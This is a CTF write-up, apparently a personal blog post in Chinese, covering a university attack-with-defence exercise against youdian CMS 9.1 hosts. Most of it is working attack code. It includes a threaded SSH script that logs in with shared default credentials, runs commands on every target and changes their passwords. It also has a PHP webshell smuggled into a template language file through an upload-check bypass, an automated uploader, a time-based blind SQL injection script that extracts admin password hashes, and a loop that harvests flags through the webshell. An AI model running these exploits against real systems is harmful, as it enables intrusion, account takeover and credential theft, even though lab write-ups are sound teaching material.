网安实践4-AWD

攻击思路

由于所有靶机的SSH用户名及口令相同,因此可以在靶机启动时利用靶机口令未被修改的间隙登陆对方靶机,进行木马上传维持shell,甚至可以修改靶机口令使对方无法登陆从而霸占靶机。

本次AWD部署与VMCource平台,靶机并非常见的一靶机一IP形式,所有靶机容器只开放SSH端口22和WEB服务端口80,映射到平台的10.12.153.8 IP上,需要在平台排行榜界面查看所有靶机端口信息,无法基于网段扫描获取所有靶机信息,因此使用requests爬虫爬取VMCourse平台内容,提取所有靶机的SSH端口与WEB端口。

获取SSH端口后,利用python的paramiko模块可以方便的通过SSH协议连接靶机并执行命令,使用多线程加速靶机的连接,连接靶机后批量执行命令读取flag,尝试修改靶机口令实现shell持久化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3

import requests
import json
import time
import threading
import queue
import paramiko
import warnings
warnings.filterwarnings("ignore")


username = "ctf"
passwds = ["hust-ctf", "new_passwd"]
new_passwd = "new_passwd"


# cookie =后面的部分
session_cookie = ""

# 164测试环境
# CONTEST_ID = 164
# 165 AWD1
CONTEST_ID = 165
# 163 AWD2
# CONTEST_ID = 163

api_url = "https://222.20.126.111/api"



keep_alive = True

def get_ssh_hosts(queue):
while (keep_alive):
# 获取所有队伍id及靶机情况
response = requests.get(url=f"{api_url}/awd/rank?id={CONTEST_ID}", verify=False)
for group in json.loads(response.text)["scores"]:
try:
group_id = group["groupID"]
section_id = group["sectionStates"][0]["sectionID"]
# 获取靶机信息
response = requests.get(url=f"{api_url}/awd/machine?groupID={group_id}&sectionID={section_id}", verify=False, cookies={"SESSIONID":session_cookie})
machine = json.loads(response.text)["machineInfo"][0]
ip = machine["ip"]
ports = machine["portInfos"]
for port in ports:
if (port["targetPort"] == 22):
ssh_port = ports[0]["publishedPort"]
queue.put(f"{ip}:{ssh_port}")
except:
pass
time.sleep(300)

def new_ssh(ip, port, passwd, queue):
print(f"try to connect [{ip}:{port}]")
ssh = paramiko.SSHClient()
try:
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd, look_for_keys=False, allow_agent=False)
except:
return
# 获取 SSH 传输对象
transport = ssh.get_transport()

# 检查连接状态
if transport.is_active():
print(f"[{ip}:{port}]: SSH connection successful")
queue.put((f"{ip}:{port}", ssh))
else:
print(f"[{ip}:{port}]: SSH connection failed")


def connect_ssh(targets, hosts_q, ssh_q):
while (keep_alive):
ip_port = hosts_q.get()
if (ip_port in targets):
if (targets[ip_port].get_transport().is_active()):
pass
ip, port = ip_port.split(":")
port = int(port)
for passwd in passwds:
thread = threading.Thread(target=new_ssh, args=(ip, port, passwd, ssh_q))
thread.start()

targets = {}

hosts_q = queue.Queue()
ssh_q = queue.Queue()

get_hosts_thread = threading.Thread(target=get_ssh_hosts, args=(hosts_q,))
connect_ssh_thread = threading.Thread(target=connect_ssh, args=(targets, hosts_q, ssh_q))
get_hosts_thread.start()
connect_ssh_thread.start()

# 批量命令
while True:
cmd = input("cmd=>")
while (not ssh_q.empty()):
ssh = ssh_q.get()
if (ssh[0] in targets):
try:
targets[ssh[0]].close()
except:
pass
targets[ssh[0]] = ssh[1]
msg = ""
for ip in targets:
ssh = targets[ip]
if (not ssh.get_transport().is_active()):
targets.pop(ip)
continue
try:
stdin, stdout, stderr = ssh.exec_command(cmd)
output = stdout.read().decode('utf-8')
s = f"[{ip}]: {output}"
msg += s + "\n"
print(s)
except:
s = f"[{ip}]: Failed!!!"
msg += s + "\n"
with open(f"outputs/output-{time.time()}.txt", "wt") as f:
f.write(msg)
keep_alive = False

除了使用SSH初始口令登陆对方靶机外,正常的攻击需要分析靶机WEB服务存在的漏洞,进行漏洞利用获取flag。

D盾后门扫描

比赛开始登陆己方靶机,使用tar命令备份WEB服务目录,使用sftp将备份文件下载到本地进行漏洞分析,使用D盾扫描网站目录,分析网站是否存在后门。

如图所示,网站中有两个文件中存在变量函数后门,含有后门的PHP文件如下:

1
2
3
4
5
6
<?php 
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
?>

上述代码为经典的PHP一句话木马,通过字符串拼接变量函数assert($_GET[‘s’]),执行请求中的s参数命令,但是该木马在PHP 7.0中被修复,无法执行字符串命令,而靶机环境中的PHP版本为7.4.3,因此该后门无效。D盾扫描的剩余3个漏洞经过分析,也无法进行应用。

文件上传

分析网站PHP代码,在App/Conf/db.php中,找到服务器的mysql数据库信息:

1
2
3
4
5
6
7
8
9
10
11
<?php
return array (
'DB_TYPE' => 'mysqli',
'DB_HOST' => '127.0.0.1',
'DB_NAME' => 'cms',
'DB_USER' => 'root',
'DB_PWD' => 'root-toor',
'DB_PORT' => '3306',
'DB_PREFIX' => 'youdian_',
);
?>

根据上述信息登陆数据库

1
2
3
4
5
6
7
8
9
10
mysql -h 127.0.0.1 -uroot -proot-toor cms


mysql> select * from youdian_admin;
+---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+
| AdminID | AdminName | MemberID | AdminGroupID | AdminPassword | LastLoginTime | LastLoginIP | IsLock | IsSystem | LoginFailCount | LoginCount |
+---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+
| 1 | admin | 1 | 1 | d6161f2fd556e774df1aaa8ce51b7f3c | 2024-06-29 05:14:34 | 11.0.0.2 | 0 | 1 | 3 | 182 |
+---------+-----------+----------+--------------+----------------------------------+---------------------+-------------+--------+----------+----------------+------------+
1 row in set (0.00 sec)

查询youdian_admin表获取管理员用户admin的信息,admin的登陆口令md5值为d6161f2fd556e774df1aaa8ce51b7f3c,查询md5数据库可以得到弱口令123456,使用口令登陆管理员后台并修改弱口令。

对网站进行审计,网站有文件上传的功能,并且可以对上传的文件重命名,尝试绕过前端限制向网站上传木马文件,经测试网站具有较强的文件过滤,无法上传php等可执行文件,尝试通过重命令的方式将上传的文件后缀修改为php,测试发现重命令仍存在过滤,无法将上传的文件后缀修改为php,因此文件上传暂时无法利用。

模板木马上传

继续审计网站,发现网站有模板上传功能,可以上传zip文件并自动解压得到模板。

分析网站模板内容,发现前端可直接修改模板的文件,且模板中关于语言配置有common_cn.phpcommon_en.php两个PHP文件,前端可修改PHP文件,但是不能直接指定内容,只能修改值。

分析修改这两个PHP对应的代码逻辑App/Lib/Action/Admin/TemplateAction.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* 保存模板语言包
*/
function saveLang(){
header("Content-Type:text/html; charset=utf-8");
$langDirName = YdInput::checkFileName(trim( $_POST['TemplateDir'] ));

$ItemName = $_POST['ItemName'];
$ItemCnValue = $_POST['ItemCnValue'];
$ItemEnValue = $_POST['ItemEnValue'];

$LangPackCn = array();
$LangPackEn = array();
$n = count($ItemName);
for( $i = 0; $i < $n; $i++ ){
$k = trim($ItemName[$i]);
if( $k != '' || $ItemCnValue[$i] != '' || $ItemEnValue[$i] != ''){
$LangPackCn[$k] = $ItemCnValue[$i];
$LangPackEn[$k] = $ItemEnValue[$i];
}
}

$msg[0] = '保存失败';
$msg[1] = '保存成功';
$msg[2] = '没有写入权限';

$bCn = $this->_saveLangFile($LangPackCn, $langDirName, 'cn');
if($bCn != 1){
$this->ajaxReturn(null, $msg[$bCn] , 0);
}
$bEn = $this->_saveLangFile($LangPackEn, $langDirName, 'en');
if($bEn != 1){
$this->ajaxReturn(null, $msg[$bEn] , 0);
}
WriteLog($langDirName );
$this->ajaxReturn(null, $msg[1] , 1);
$this->display();
}

模板语言文件的修改逻辑为将键值对保存在下面的形式,尝试使用特殊字符进行字符串截断,发现特殊字符被转译,仍然无法直接利用。

1
2
3
4
5
<?php
return array (
'LSHARE' => 'WeChat scan concerns us',
'ViewMore' => 'View More',
);

分析与模板上传解压相关的代码,发现虽然解压后会对模板PHP文件进行检验,但只要符合上面的键值对形式即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//模板上传[电脑模板和手机模板]
function uploadTemplate() {
set_time_limit(0);
import("ORG.Net.UploadFile");
$upload = new UploadFile();
//设置上传文件大小
$upload->maxSize = $GLOBALS['Config']['MAX_UPLOAD_SIZE'] ; //最大上传大小
//设置上传文件类型
$upload->allowExts = array('zip');
//设置附件上传目录
$upload->savePath = RUNTIME_PATH; //模板上传到临时文件夹
$upload->saveRule= time;

if(!$upload->upload()) {
$this->ajaxReturn(null, $upload->getErrorMsg() , 0);
}else{
$info = $upload->getUploadFileInfo();
//解压模板
import('ORG.Util.PclZip');
$tplDir = ($_POST['ishome'] == 1) ? TMPL_PATH.'Home/' : TMPL_PATH.'Wap/';
$zipname = RUNTIME_PATH.$info[0]['savename'];
$archive = new PclZip($zipname);
if (($list = $archive->listContent()) == 0) {
$this->ajaxReturn(null, '安装模板失败!' , 0);
}else{
//判断模板目录是否存在
$currentDir = $tplDir.$list[0]['filename']; //获取模板文件名
if( is_dir($currentDir)){
$this->ajaxReturn(null, '模板目录已经存在!请打开zip压缩包重命名根目录名,再重新安装!' , 0);
}

//判断是否是有效模板=====================================
$count = count($list);
$IsValid = false;
for($n = 0; $n < $count; $n++){
$filename = strtolower($list[$n]['filename']);
if( $list[$n]['folder'] == true && stripos($filename, 'channel/') ){
$IsValid = true;
break;
}
}
if( !$IsValid ){
$this->ajaxReturn(null, '无效模板压缩包!' , 0);
}
//================================================

//模板里的文件名不能包含php、jsp、asp、aspx等危险文件============
$map = array('php'=>true, 'jsp'=>true, 'asp'=>true, 'aspx'=>true);
for($n = 0; $n < $count; $n++){
if( $list[$n]['folder']) continue;
$filename = strtolower($list[$n]['filename']);
if(stripos($filename, '/common_en.php') || stripos($filename, '/common_cn.php') ){

}else{
$ext = strtolower(yd_file_ext($filename));
if(isset($map[$ext])){
$this->ajaxReturn(null, "模板不能包含{$ext}文件" , 0);
}
}
}
//==============================================
}

//解压模板压缩包到模板目录
if ($archive->extract(PCLZIP_OPT_PATH, $tplDir) == 0) {
@unlink($zipname);
$this->ajaxReturn(null, '安装模板失败!' , 0);
}else{
@unlink($zipname);
$this->checkTemplateLangFile($currentDir);
$this->ajaxReturn(null, '安装模板成功!' , 1);
}
}
}

/**
* 检查模板语言包php文件是否有效
* 如果是无效的则直接删除
*/
private function checkTemplateLangFile($currentDir){
$langs = array('cn', 'en');
foreach($langs as $v){
$langFile = "{$currentDir}Lang/common_{$v}.php";
if(file_exists($langFile)){
$content = file_get_contents($langFile);
$content = trim($content, '<?php');
$content = trim($content);
if('return array' != substr($content,0,12)){
@unlink($langFile);
}
}
}
}

构造如下木马:

1
2
3
4
<?php
return array (
'NOXKE' => @system($_GET["code"]),
);

压缩模板上传到网站,检查发现木马内容为原始内容,未被修改,木马文件路径为/App/Tpl/Home/temp/Lang/common_en.php,利用get请求的code参数传递需要执行的代码,测试木马,如图3-5所示,成功进行命令执行并获取flag。

将上述的操作使用requests爬虫自动执行,使用123456弱口令登陆网站后台,上传含木马的模板压缩包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import json

def upload_ma(ip, port):
print(f"[{ip}:{port}]")
url = f"http://{ip}:{port}/index.php/Admin/public/checkLogin/"
data = {
"username": "admin",
"password": "123456",
"verifycode": ""
}
response = requests.post(url, data=data)

print(json.loads(response.text))
ret_headers = response.headers
cookie = ret_headers["Set-Cookie"].split(";")[0]

url = f"http://{ip}:{port}/index.php/Admin/template/uploadTemplate"

headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Cookie': f'{cookie}; CKFinder_Path=Files%3A%2Fdownload%2F%3A1; youdianAdminLangSet=cn; youdianMenuTopID=7',
'X-Requested-With': 'XMLHttpRequest',
}

data = {
'ishome': '1',
'__hash__': '896dc746d4dc89c56e51ca6f799f9e8a_bd1aabc7f775a2fd93af1b9e2dcd26b7'
}

files = {
'TplFile': ('temp.zip', open('temp.zip', 'rb'), 'application/zip')
}

# 发送文件
response = requests.post(url, headers=headers, files=files, data=data)

print(json.loads(response.text))

with open("web.txt", "rt") as f:
data = f.read()
web_ls = data.split("\n")[:-1]

for ip_port in web_ls:
ip, port = ip_port.split(":")
try:
upload_ma(ip, port)
except:
pass

SQL注入

靶机环境中的CMS为youdian9.1版本,搜索该版本漏洞库发现存在SQL注入漏洞,参考文章 友点CMS V9.1 前台SQL注入 - 简书 。该SQL注入只能执行查询命令,可以利用该漏洞查询youdian_admin表中的管理员口令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# https://www.jianshu.com/p/9eb4138961b4

import requests
import string
import time

s = requests.session()


def check(baseurl, payload):
url = baseurl + "/index.php/Channel/voteAdd"
cookies = {
"PHPSESSID": "pn9iofrfklen68u4205veml8s0",
"youdianAdminLangSet": "cn",
"youdianfu[0]": "exp",
"youdianfu[1]": payload
}
starttime = time.time()
s.get(url, cookies=cookies)
endtime = time.time()
if endtime - starttime >= 1:
return True
return False


if __name__ == '__main__':
url = 'http://10.12.153.8:31147/'
stringset = "0123456789abcdef"
passwd = ""
for i in range(32):
for j in stringset:
payload = "=(select 1 from(select if(ascii(substr((select AdminPassword from youdian_admin), {0}, 1))={1},sleep(1),0))a)".format(str(i + 1), str(ord(j)))
if check(url, payload):
passwd += str(j)
print("[+] " + passwd)

批量提交flag

感谢别的同学提供的几个gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import json
import re
import warnings
import time
warnings.filterwarnings("ignore")


session_cookie = ""


def submit_flag(flag):
print(flag)
url = "https://222.20.126.111/api/student/awd/flag"
data = {"courseID":165,"flag":flag}
response = requests.put(url, json=data, cookies={"SESSIONID":session_cookie}, verify=False)
print(json.loads(response.text))

# 别人送的flag
def gift_flag(ip, port):
url = f"http://{ip}:{port}/"
response = requests.get(url)
pattern = r'awd{([A-Za-z0-9]+)}'
match = re.search(pattern, response.text)
if match:
flag = "awd{" + match.group(1) + "}"
submit_flag(flag)

def get_flag(ip, port):
url = f"http://{ip}:{port}/App/Tpl/Home/temp/Lang/common_en.php?code=cat%20/flag"
response = requests.get(url)
if (response.status_code == 200):
flag = response.text.strip()
submit_flag(flag)

with open("web.txt", "rt") as f:
data = f.read()
web_ls = data.split("\n")[:-1]

while True:
for ip_port in web_ls:
ip, port = ip_port.split(":")
try:
print(f"[{ip}:{port}]")
gift_flag(ip, port)
get_flag(ip, port)
except:
pass
time.sleep(3)
time.sleep(600)

网安实践4-AWD
https://blog.noxke.icu/2024/06/29/ctf_wp/网安实践4-AWD/
作者
noxke
发布于
2024年6月29日
许可协议